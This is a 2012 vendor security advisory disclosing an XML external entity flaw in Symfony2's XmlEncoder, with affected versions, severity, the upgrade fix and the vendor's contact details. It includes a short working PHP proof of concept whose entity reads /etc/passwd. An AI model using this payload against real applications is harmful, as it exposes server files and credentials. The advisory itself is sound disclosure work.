	Authorisation. Jason Edelstein
	Release date. 05 March 2012.

Sense of Security – Security Advisory – SOS-12-002.

Symfony2 Local File Disclosure.

05 March 2012.

Symfony2 Local File Disclosure - Security Advisory - SOS-12-002

Release Date.	05-Mar-2012
Last Update.	-
Vendor Notification Date.	24-Feb-2012
Product.	Symfony2
Platform.	PHP
Affected versions.	2.0.x – 2.0.10
Severity Rating.	Medium
Impact.	Exposure of sensitive information
Attack Vector.	Remote without authentication
Solution Status.	Vendor patch / Upgrade to 2.0.11
CVE reference.	CVE - not yet assigned

Details.

The XMLEncoder component of Symfony 2.0.x fails to disable external entities when parsing XML. In the Symfony2 framework the XML class may be used to deserialise objects or as part of a client/server API. By using external entities it is possible to include arbitrary files from the file system. Any application written in Symfony2 that parses user supplied XML is affected.

Proof of Concept.

```
$serializer = new Serializer(array(), array(
    'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-
encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');
```

```
var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.
```

Solution.

Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.

Phil Taylor from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-002.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php